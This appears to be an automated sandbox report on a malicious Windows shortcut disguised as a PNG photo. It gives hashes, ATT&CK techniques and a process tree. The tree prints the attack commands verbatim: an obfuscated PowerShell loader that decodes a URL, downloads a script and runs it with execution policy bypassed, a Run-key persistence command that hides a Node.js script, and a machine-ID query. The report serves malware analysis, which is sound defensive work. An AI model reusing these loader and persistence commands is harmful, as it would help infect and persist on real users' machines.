b422e102ed941533b2ba7a6481aa19a9d4e6cdcc033f0740833bb65bf5944f80

Analysis

max time kernel
149s
max time network
150s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
04/06/2026, 13:56

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General

Target
PHOTO-347377076.png.lnk
Size 2KB
Sample260604-q8vxmsfx8s
SHA256 b422e102ed941533b2ba7a6481aa19a9d4e6cdcc033f0740833bb65bf5944f80
MD5 c4661a41eb3e19bc804a582f017288b8
SHA1 17abeb78bb862d702d4e63d746c58d2d805d71ee
SHA512 eed8fd735ed93f44ee381b0a847556332d71c1897648899edc383bbaca3554d3491d8d63c559800762bb3a8370049f7634ac5d65b38728e25d542ce38e352eba
TLSH
T1B841FE101BF10239F7F79B34E8FD6222E6257513EA229F6F01C042994671811F5A7F2E
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution persistence

Malware Config

Extracted

Language

Source

URLs

exe.dropper
https://nodejs.org/dist/v24.13.0/node-v24.13.0-win-x64.zip

Signatures

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	2712	powershell.exe
3	3436	powershell.exe

Executes dropped EXE 3 IoCs

pid	Process
4732	node.exe
3532	node.exe
4936	node.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-125073035-2952146151-721812867-1000\Software\Microsoft\Windows\CurrentVersion\Run\59541b77-7fb8-4285-9d95-7bcce4e995ff = "\"C:\\Users\\Admin\\AppData\\Local\\Nodejs\\node-v24.13.0-win-x64\\node.exe\" -e \"require('child_process').spawn(process.execPath, ['C:\\\\Users\\\\Admin\\\\AppData\\\\Local\\\\Nodejs\\\\R24eFhQIV.js'], {detached: true, stdio: 'ignore', windowsHide: true}).unref()\""	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2712	powershell.exe
3436	powershell.exe
4012	powershell.exe
3248	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 24 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\~MHz	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\ProcessorNameString	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\ProcessorNameString	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\ProcessorNameString	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\~MHz	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7	node.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2712	powershell.exe
2712	powershell.exe
3436	powershell.exe
3436	powershell.exe
3436	powershell.exe
3436	powershell.exe
3436	powershell.exe
3436	powershell.exe
3436	powershell.exe
3436	powershell.exe
3436	powershell.exe
3436	powershell.exe
3436	powershell.exe
3436	powershell.exe
3436	powershell.exe
3436	powershell.exe
3436	powershell.exe
3436	powershell.exe
3436	powershell.exe
3436	powershell.exe
3436	powershell.exe
3436	powershell.exe
3436	powershell.exe
3436	powershell.exe
3436	powershell.exe
3436	powershell.exe
3436	powershell.exe
3436	powershell.exe
3436	powershell.exe
3436	powershell.exe
3436	powershell.exe
3436	powershell.exe
3436	powershell.exe
3436	powershell.exe
3436	powershell.exe
4068	powershell.exe
4068	powershell.exe
4068	powershell.exe
4068	powershell.exe
4068	powershell.exe
4068	powershell.exe
4068	powershell.exe
4068	powershell.exe
4068	powershell.exe
4068	powershell.exe
4068	powershell.exe
4068	powershell.exe
4068	powershell.exe
4068	powershell.exe
4068	powershell.exe
4068	powershell.exe
4068	powershell.exe
4068	powershell.exe
4068	powershell.exe
4068	powershell.exe
4068	powershell.exe
4012	powershell.exe
4012	powershell.exe
3248	powershell.exe
3248	powershell.exe
2212	powershell.exe
2212	powershell.exe
2212	powershell.exe
2212	powershell.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

description	pid	Process
Token: SeDebugPrivilege	2712	powershell.exe
Token: SeDebugPrivilege	3436	powershell.exe
Token: SeDebugPrivilege	4068	powershell.exe
Token: SeDebugPrivilege	4012	powershell.exe
Token: SeDebugPrivilege	3248	powershell.exe
Token: SeDebugPrivilege	2212	powershell.exe
Token: SeDebugPrivilege	2080	powershell.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 4724 wrote to memory of 2712	4724	cmd.exe	82
PID 2712 wrote to memory of 3436	2712	powershell.exe	84
PID 3436 wrote to memory of 4444	3436	powershell.exe	85
PID 4444 wrote to memory of 1772	4444	csc.exe	86
PID 3436 wrote to memory of 4732	3436	powershell.exe	89
PID 4732 wrote to memory of 4068	4732	node.exe	91
PID 4732 wrote to memory of 4012	4732	node.exe	93
PID 4732 wrote to memory of 3248	4732	node.exe	95
PID 3532 wrote to memory of 4936	3532	node.exe	99
PID 4936 wrote to memory of 2212	4936	node.exe	100
PID 4732 wrote to memory of 2080	4732	node.exe	102

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\PHOTO-347377076.png.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:4724
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep bypass -c "$vJfCYfYl=\"2443476253515246545940071586584123012348730215\" -as [System.Numerics.BigInteger];$z0oWil=\"2991813532358398103947252428991983999056383\" -as [System.Numerics.BigInteger];$lT3TRkO=$vJfCYfYl - $z0oWil;for($Feykv7vC=100+156;$lT3TRkO -ne 0;$lT3TRkO=$lT3TRkO / $Feykv7vC){$uLBEe+=[char]([int]($lT3TRkO % $Feykv7vC));};iwr $uLBEe -OutFile $env:TEMP\TerVepJ.ps1 -UseBasicParsing; powershell -ep bypass -File $env:TEMP\TerVepJ.ps1"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2712
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep bypass -File C:\Users\Admin\AppData\Local\Temp\TerVepJ.ps1
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3436
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\uszcedy0\uszcedy0.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4444
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES6637.tmp" "c:\Users\Admin\AppData\Local\Temp\uszcedy0\CSCAABD890AB7AE4C32B37E15CD896888E3.TMP"
        5⤵
        
        PID:1772
  - - C:\Users\Admin\AppData\Local\Nodejs\node-v24.13.0-win-x64\node.exe
      "C:\Users\Admin\AppData\Local\Nodejs\node-v24.13.0-win-x64\node.exe" C:\Users\Admin\AppData\Local\Nodejs\R24eFhQIV.js haddjskak827sja.com
      4⤵
      Executes dropped EXE
      Checks processor information in registry
      Suspicious use of WriteProcessMemory
      PID:4732
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -c "(Get-Process | Where-Object { $_.Path -eq \"C:\Users\Admin\AppData\Local\Nodejs\node-v24.13.0-win-x64\node.exe\" }).Count"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4068
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -c "(Get-ItemProperty -Path \"HKCU:\Software\Microsoft\Windows\CurrentVersion\Run\" -Name \"59541b77-7fb8-4285-9d95-7bcce4e995ff\").\"59541b77-7fb8-4285-9d95-7bcce4e995ff\""
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4012
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -c "$code = \"require('child_process').spawn(process.execPath, ['C:\\Users\\Admin\\AppData\\Local\\Nodejs\\R24eFhQIV.js'], {detached: true, stdio: 'ignore', windowsHide: true}).unref()\"; $command = \"\"\"C:\Users\Admin\AppData\Local\Nodejs\node-v24.13.0-win-x64\node.exe\"\" -e \"\"$code\"\"\"; Set-ItemProperty -Path \"HKCU:\Software\Microsoft\Windows\CurrentVersion\Run\" -Name \"59541b77-7fb8-4285-9d95-7bcce4e995ff\" -Value $command"
        5⤵
        Adds Run key to start application
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3248
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -c "(Get-ItemProperty -Path \"HKLM:\SOFTWARE\Microsoft\Cryptography\" -Name \"MachineGuid\").\"MachineGuid\""
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2080

C:\Users\Admin\AppData\Local\Nodejs\node-v24.13.0-win-x64\node.exe
"C:\Users\Admin\AppData\Local\Nodejs\node-v24.13.0-win-x64\node.exe" -e "require('child_process').spawn(process.execPath, ['C:\\Users\\Admin\\AppData\\Local\\Nodejs\\R24eFhQIV.js'], {detached: true, stdio: 'ignore', windowsHide: true}).unref()"
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3532
- C:\Users\Admin\AppData\Local\Nodejs\node-v24.13.0-win-x64\node.exe
  C:\Users\Admin\AppData\Local\Nodejs\node-v24.13.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Nodejs\R24eFhQIV.js
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4936
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -c "(Get-Process | Where-Object { $_.Path -eq \"C:\Users\Admin\AppData\Local\Nodejs\node-v24.13.0-win-x64\node.exe\" }).Count"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2212

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 2e007e2ace0d2382883b7cf595ffbbec8edcb38ae468bcd4d0051f6c23c1da6e
MD5 facce70e47d55ac52cbf0f1fcf3073a5
SHA1 1acf2d0d8aaf9a788127b5ec0892e7217f01ccae
SHA512 9c2c7ea49c13dd0c245119deb45ca88cb290dba0739c4a23cd5f18f59366ee3f8b0e053999d3e203a1b6ce01b3ccbd303a37932e8d2deaa2600804dd664b5d6a
TLSH
T1BE81BC313375A0D489563F07192C19C463BF8356FA68AF4CB65C620EE92B54BDB222F7
MD5 SHA1 SHA512 TLSH

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ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 61KB
SHA256 d1d8fc14707d8778da927acf9be9e9e287fc7660374eac902c10997d10f98d92
MD5 8cc7ea2b9efa9ad5aad92da62fe2bfdf
SHA1 1130ed4db303c31acf6549742b8ceffccbf7e863
SHA512 294f0f73e03dc35b0c3245f7953d5bd166c27de4a4936a98b58acd721953eed32fd5574aa880ea4475755dbbeb2432f802352101de5c7c205633537ef1139037
SSDEEP 1536:KflJd+h4iUxTYkzvHgfKQaUpeE711kDa5ljNC+jH0IMjMXYo3Xi3j39MVvjBMrxM:KflJd+qiUTYkzvHgfKQaUpeE711kDa5R
TLSH
T158538392E9204E75E2E65F3EF15622627D30394690F8113211DC25EFA9879930B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 61KB
SHA256 6fdeec2f92eb76481d3ed9ecda14ac10fbaed3a2e7b79177cb21d61bfdd72eae
MD5 7e926679e99e8c4855b4cd56504c907b
SHA1 e08cd854fba24aa284c75ca4e2022e5ec3f0556c
SHA512 3286d0021c360c863c0dec1686af478c0f5a6fc040539640579969cb947ec8c768662ed9c1ed2258447480cdde81eac3dc34409df3e2fdd95d3ff1a14ab4c7bf
SSDEEP 1536:KflJdfh4iUx4YklMRbfKQOUpeEdqMdDa5wcNC+jH0IMZMFYoeLV3CNBQkj2QOdBg:KflJdfqiU4YklMRbfKQOUpeEdqMdDa5x
TLSH
T116538392E9204E75E2E65F3EF15622627D30394690F8113211DC25EFA9879930B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download